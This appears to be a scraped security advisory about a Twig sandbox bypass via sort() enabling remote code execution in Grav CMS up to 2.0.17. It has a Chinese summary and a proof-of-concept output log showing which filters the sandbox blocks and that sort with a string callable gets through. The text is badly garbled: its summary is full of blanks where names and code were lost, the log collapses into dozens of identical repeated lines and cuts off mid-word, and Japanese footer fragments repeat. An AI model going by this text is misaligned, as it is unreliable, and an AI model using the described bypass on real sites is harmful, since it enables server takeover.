Grav CMS: Twig Sandbox Bypass via sort() leading to RCE (v<=2.0.17)

漏洞概述 标题： 传递 ，导致页面编辑器可通过 Twig 沙箱调用任意 PHP 函数。 CVE ID：无（No known CVE） 严重度：High（高危） 受影响版本： 修复版本： 根因： 中 调用 时硬编码传入 ，绕过了 Twig 沙箱对非闭包函数的限制，使攻击者（如页面编辑器）可执行任意 PHP 函数。 影响范围 受影响组件： （Composer 包） 受影响版本： （HEAD 提交 ） 攻击面：拥有页面编辑权限的用户（如 、 等角色）可通过 等机制触发任意 PHP 函数执行，实现服务器端命令执行（RCE）。 修复方案 修复版本： 修复方式：修改 ，将硬编码的 替换为根据环境动态解析的沙箱状态，使 在沙箱模式下正确拒绝非闭包函数。 相关 PR： （修复 PR） POC / 利用代码 ``` policy.allowFilters count=196 sort:true raw:false => sanity: the sandbox really is the shipped policy :) [raw] => BLOCKED: Function "raw" is not allowed in "@Page:/user/pages/01_home" at line 1. read_file] => BLOCKED: Function "read_file" is not allowed in "@Page:/user/pages/01_home" at line 1. count] => RENDERED: 12 --- map with string callable RESULT: BLOCKED -> The callable passed to the "map" filter must be a Closure in sandbox mode --- filter with string callable RESULT: BLOCKED -> The callable passed to the "filter" filter must be a Closure in sandbox mode --- sort with string callable RESULT: RENDERED -> pg sort(string-callable under @evalVar: -> ok :)) sort(string-callable under @evalVar: -> ok :)) map (string-callable under @evalVar: -> err :)) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page file (no closure needed) => tpl_autoload against the caller's 0th page fi

目標達成すべての支援者に感謝 — 100%達成しました！

Grav CMS: Twig Sandbox Bypass via sort() leading to RCE (v<=2.0.17)

このソースからの他の記事

目標達成 すべての支援者に感謝 — 100%達成しました！

Grav CMS: Twig Sandbox Bypass via sort() leading to RCE (v<=2.0.17)

このソースからの他の記事

目標達成すべての支援者に感謝 — 100%達成しました！